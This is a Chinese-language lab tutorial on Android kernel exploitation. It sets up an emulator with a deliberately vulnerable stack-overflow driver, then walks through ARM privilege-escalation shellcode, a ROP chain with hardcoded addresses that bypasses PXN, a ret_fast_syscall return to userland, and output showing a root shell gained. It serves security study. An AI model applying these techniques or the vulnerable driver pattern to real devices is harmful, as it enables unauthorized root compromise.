作者:Hcamael@知道創宇404實驗室
英文版本:http://www.bjnorthway.com/947/

最近在研究一個最簡單的android內核的棧溢出利用方法,網上的資料很少,就算有也是舊版內核的,新版的內核有了很大的不同,如果放在x86上本應該是很簡單的東西,但是arm指令集有很大的不同,所以踩了很多坑

把上一篇改了一下名字,換成了從0開始學Linux內核,畢竟不是專業搞開發的,所以驅動開發沒必要學那么深,只要會用,能看懂代碼基本就夠用了。本篇開始學Linux kernel pwn了,而內核能搞的也就是提權,而提權比較多人搞的就是x86和arm指令集的Linux系統提權了,arm指令集的基本都是安卓root和iOS越獄,而mips指令集的幾乎沒啥人在搞,感覺是應用場景少。

環境準備

android內核編譯

下載相關源碼依賴

android內核源碼使用的是goldfish[1],直接clone下來,又大又慢又久,在git目錄下編譯也麻煩,所以想搞那個版本的直接下那個分支的壓縮包就好了

本文使用的工具的下載地址:

PS:git clone速度慢的話可以使用國內鏡像加速:s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/

# 下載源碼
$ wget https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz
$ tar zxf goldfish-android-goldfish-3.10.tar.gz
# 下載編譯工具
$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
# 下載一鍵編譯腳本
$ git clone https://android.googlesource.com/platform/prebuilts/qemu-kernel/
# 只需要kernel-toolchain和build-kernel.sh
$ cp qemu-kernel/build-kernel.sh goldfish/
$ cp -r qemu-kernel/kernel-toolchain/ goldfish/

修改內核

學android kernel pwn最初看的是Github上的一個項目[3],不過依賴的是舊內核,估計是android 3.4以下的內核,在3.10以上的有各種問題,所以我自己做了些修改,也開了一個Github源:https://github.com/Hcamael/android_kernel_pwn

對kernel源碼有兩點需要修改:

1.添加調試符號

首先需要知道自己要編譯那個版本的,我編譯的是32位Android內核,使用的是goldfish_armv7,配置文件在: arch/arm/configs/goldfish_armv7_defconfig

但是不知道為啥3.10里沒有該配置文件,不過用ranchu也一樣:

給內核添加調試符號,只需要在上面的這個配置文件中添加:CONFIG_DEBUG_INFO=y,如果是goldfish就需要自己添加,ranchu默認配置已經有了,所以不需要更改。

2.添加包含漏洞的驅動

目的是研究Android提權利用方法,所以是自己添加一個包含棧溢出的驅動,該步驟就是學習如何添加自己寫的驅動

上面給了一個我的Github項目,把該項目中的vulnerabilities/目錄復制到內核源碼的驅動目錄中:

$ cp vulnerabilities/ goldfish/drivers/

修改Makefile:

$ echo "obj-y += vulnerabilities/" >> drivers/Makefile

導入環境變量后,使用一鍵編譯腳本進行編譯:

$ export PATH=/root/arm-linux-androideabi-4.6/bin/:$PATH
$ ./build-kernel.sh --config="ranchu"

PS: 在docker中復現環境的時候遇到一個問題,可以參考:https://stackoverflow.com/questions/42895145/cross-compile-the-kernel

編譯好后的內核在/tmp/qemu-kernel目錄下,有兩個文件,一個zImage,內核啟動鏡像,一個vmlinux是kernel的binary文件,丟ida里面分析內核,或者給gdb提供符號信息

Android模擬環境準備

內核編譯好后,就是搞Android環境了,可以直接使用Android Studio[2]一把梭,但是如果不搞開發的話,感覺Studio太臃腫了,下載也要下半天,不過還好,官方提供了命令行工具,覺得Studio太大的可以只下這個

PS: 記得裝java,最新版的java 11不能用,我用的是java 8

建一個目錄,然后把下載的tools放到這個目錄中

$ mkdir android_sdk
$ mv tools android_sdk/

首先需要使用tools/bin/sdkmanager裝一些工具

# 用來編譯android binary(exp)的,如果直接用arm-liunx-gcc交叉編譯工具會缺一些依賴,解決依賴太麻煩了,還是用ndk一把梭方便
$ ./bin/sdkmanager --install "ndk-bundle"
# android模擬器
$ ./bin/sdkmanager --install "emulator"
# avd
$ ./bin/sdkmanager --install "platforms;android-19"
$ ./bin/sdkmanager --install "system-images;android-19;google_apis;armeabi-v7a"
# 其他
$ ./bin/sdkmanager --install "platform-tools"

PS:因為是32位的,所以選擇的是armeabi-v7a

PSS: 我一共測試過19, 24, 25,發現在24,25中,自己寫的包含漏洞的驅動只有特權用戶能訪問,沒去仔細研究為啥,就先使用低版本的android-19了

創建安卓虛擬設備:

./bin/avdmanager create avd -k "system-images;android-19;google_apis;armeabi-v7a" -d 5 -n "kernel_test"

啟動:

$ export kernel_path=ranchu_3.10_zImage
或者
$ export kernel_path=goldfish_3.10_zImage
$ ./emulator  -show-kernel -kernel $kernel_path -avd kernel_test -no-audio -no-boot-anim -no-window -no-snapshot -qemu  -s

去測試下我寫的exp:

$ cd ~/goldfish/drivers/vulnerabilities/stack_buffer_overflow/solution
$ ./build_and_run.sh

編譯好了之后運行,記得要用普通用戶運行:

shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
shell@generic:/ $ /data/local/tmp/stack_buffer_overflow_exploit
/data/local/tmp/stack_buffer_overflow_exploit
start
shell@generic:/ # id
id
uid=0(root) gid=0(root) context=u:r:kernel:s0

Android 內核提權研究

環境能跑通以后,就來說說我的exp是怎么寫出來的。

首先說一下,我的環境都是來源于AndroidKernelExploitationPlayground項目[3],但是實際測試的發現,該項目中依賴的估計是3.4的內核,但是現在的emulator要求內核版本大于等于3.10

從內核3.4到3.10有許多變化,首先,對內核的一些函數做了刪減修改,所以需要改改驅動的代碼,其次就是3.4的內核沒有開PXN保護,在內核態可以跳轉到用戶態的內存空間去執行代碼,所以該項目中給的exp是使用shellcode,但是在3.10內核中卻開啟了PXN保護,無法執行用戶態內存中的shellcode

提權思路

搞內核Pwn基本都是一個目的——提權。那么在Linux在怎么把權限從普通用戶變成特權用戶呢?

一般提權的shellcode長這樣:

asm
(
"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"   //commit_creds addr
"BLX     R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"
);

這個shellcode提權的思路有三步:

  1. prepare_kernel_cred(0) 創建一個特權用戶cred
  2. commit_creds(prepare_kernel_cred(0)); 把當前用戶cred設置為該特權cred
  3. MSR CPSR_c,R3 從內核態切換回用戶態(詳情自己百度這句指令和CPSR寄存器)

切換回用戶態后,當前程序的權限已經變為root,這時候就可以執行/bin/sh

再繼續深入研究,就涉及到內核的三個結構體:

$ cat ./arch/arm/include/asm/thread_info.h
......
struct thread_info {
        ......
        struct task_struct      *task;          /* main task structure */
       ......
};
......
$ cat ./include/linux/sched.h
......
struct task_struct {
        ......
        const struct cred __rcu *real_cred;
        ......
};
......
$ cat ./include/linux/cred.h
......
struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
        kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested
                                         * keys to */
        struct key __rcu *session_keyring; /* keyring inherited over fork */
        struct key      *process_keyring; /* keyring private to this process */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;       /* real user ID subscription */
        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};
......

每個進程都有一個單獨thread_info結構體,我們來看看內核是怎么獲取到每個進程的thread_info結構體的信息的:

#define THREAD_SIZE             8192
......
static inline struct thread_info *current_thread_info(void)
{
        register unsigned long sp asm ("sp");
        return (struct thread_info *)(sp & ~(THREAD_SIZE - 1));
}

有點內核基礎知識的應該知道,內核的棧是有大小限制的,在arm32中棧的大小是0x2000,而thread_info的信息儲存在棧的最底部

所以,如果我們能獲取到當前進程在內核中運行時的其中一個棧地址,我們就能找到thread_info,從而順藤摸瓜得到cred的地址,如果能任意寫內核,則可以修改cred的信息,從而提權

總得來說,內核提權其實只有一條路可走,就是修改cred信息,而commit_creds(prepare_kernel_cred(0));不過是內核提供的修改cred的函數罷了。

我們來通過gdb展示下cred數據:

$ shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
--------------------------------------

通過gdb可以獲取到:$sp : 0xd415bf40

從而計算出棧底地址:0xd415a000

然后我們就能獲取到thread_info的信息,然后得到task_struct的地址:0xd4d16680

接著我們查看task_struct的信息,得到了cred的地址:0xd4167780

gef> p *(struct task_struct *)0xd4d16680
$2 = {
......
        real_cred = 0xd4167780, 
        cred = 0xd4167780,
......
# 數據太長了,就不截圖了

然后查看cred的信息:

把uid和gid的十六進制轉換成十進制,發現就是當前進程的權限

使用ROP繞過PXN來進行android提權

既然我們已經知道了怎么修改權限,那么接下來就研究一下如何利用漏洞來提權,因為是研究利用方式,所以自己造了一個最基礎的棧溢出

int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}

因為開了PXN,所以沒辦法使用shellcode,然后我第一個想到的思路就是使用ROP來執行shellcode的操作

這里說一下,不要使用ROPgadget,用這個跑內核的ELF,要跑賊久,推薦使用ROPPER[4]

$ ropper -f /mnt/hgfs/tmp/android_kernel/ranchu_3.10_vmlinux --nocolor > ranchu_ropper_gadget

然后就是找commit_creds, prepare_kernel_cred這兩個函數的地址,在沒有開啟kalsr的內核中,我們可以直接把vmlinux丟到ida里面,找這兩個函數的地址

到這里,我們可以構造出如下的rop鏈:

*pc++ = 0x41424344;      // r4
*pc++ = 0xC00B8D68;      // ; mov r0, #0; pop {r4, pc}
*pc++ = 0x41424344;      // r4
*pc++ = 0xC00430F4;      // ; prepare_kernel_cred(0) -> pop {r3-r5, pc}
*pc++ = 0x41424344;      // r3
*pc++ = 0x41424344;      // r4
*pc++ = 0x41424344;      // r5
*pc++ = 0xC0042BFC;      // ; commit_creds -> pop {r4-r6, pc}
*pc++ = 0x41424344;      // r4
*pc++ = 0x41424344;      // r5
*pc++ = 0x41424344;      // r6

在成功修改當前進程的權限之后,我們需要把當前進程從內核態切換回用戶態,然后在用戶態執行/bin/sh,就能提權成功了

但是這里遇到一個問題,在shellcode中,使用的是:

"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"

我也很容易能找到gadget: msr cpsr_c, r4; pop {r4, pc};

但是卻沒法成功切換回用戶態,網上相關的資料幾乎沒有,我也找不到問題的原因,在執行完msr cpsr_c, r4指令以后,棧信息會發現變化,導致沒法控制pc的跳轉

不過后來,我跟蹤內核的執行,發現內核本身是通過ret_fast_syscall函數來切換回用戶態的:

$ cat ./arch/arm/kernel/entry-common.S
......
ret_fast_syscall:
 UNWIND(.fnstart        )
 UNWIND(.cantunwind     )
        disable_irq                             @ disable interrupts
        ldr     r1, [tsk, #TI_FLAGS]
        tst     r1, #_TIF_WORK_MASK
        bne     fast_work_pending
        asm_trace_hardirqs_on

        /* perform architecture specific actions before user return */
        arch_ret_to_user r1, lr
        ct_user_enter

        restore_user_regs fast = 1, offset = S_OFF
 UNWIND(.fnend          )
......
-----------------------------
   0xc000df80 <ret_fast_syscall>:   cpsid   i
   0xc000df84 <ret_fast_syscall+4>: ldr r1, [r9]
   0xc000df88 <ret_fast_syscall+8>: tst r1, #7
   0xc000df8c <ret_fast_syscall+12>: bne 0xc000dfb0 <fast_work_pending>
   0xc000df90 <ret_fast_syscall+16>:    ldr r1, [sp, #72]   ; 0x48
   0xc000df94 <ret_fast_syscall+20>:    ldr lr, [sp, #68]!  ; 0x44
   0xc000df98 <ret_fast_syscall+24>:    msr SPSR_fsxc, r1
   0xc000df9c <ret_fast_syscall+28>:    clrex
   0xc000dfa0 <ret_fast_syscall+32>: ldmdb  sp, {r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
   0xc000dfa4 <ret_fast_syscall+36>:    nop; (mov r0, r0)
   0xc000dfa8 <ret_fast_syscall+40>:    add sp, sp, #12
   0xc000dfac <ret_fast_syscall+44>:    movs    pc, lr

經過我測試發現,使用msr SPSR_fsxc, r1可以成功從內核態切換回用戶態,但是該指令卻只存在于該函數之前,無法找到相關的gadget,之后我想了很多利用該函數的方法,最后測試成功的方法是:

計算有漏洞的溢出函數的棧和ret_fast_syscall函數棧的距離,在使用ROP執行完commit_creds(prepare_kernel_cred(0));之后,使用合適的gadget來修改棧地址(比如: add sp, sp, #0x30; pop {r4, r5, r6, pc};),然后控制pc跳轉到0xc000df90 <ret_fast_syscall+16>:,這樣程序就相當于執行完了內核的syscall,然后切換回用戶進程代碼繼續執行,在我們的用戶態代碼中后續執行如下函數,就能成功提權:

void payload(void)
{        
        if (getuid() == 0) {
                execl("/system/bin/sh", "sh", NULL);
        } else {
                warnx("failed to get root. How did we even get here?");
        }
        _exit(0);
}

完整exp可以見我的Github。

ROP只是其中一種利用方法,后續還會研究其他利用方法和在64位android下的利用。

參考

  1. https://android.googlesource.com/kernel/goldfish/
  2. https://developer.android.com/studio/?hl=zh-cn#downloads
  3. https://github.com/Fuzion24/AndroidKernelExploitationPlayground
  4. https://github.com/sashs/Ropper

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/808/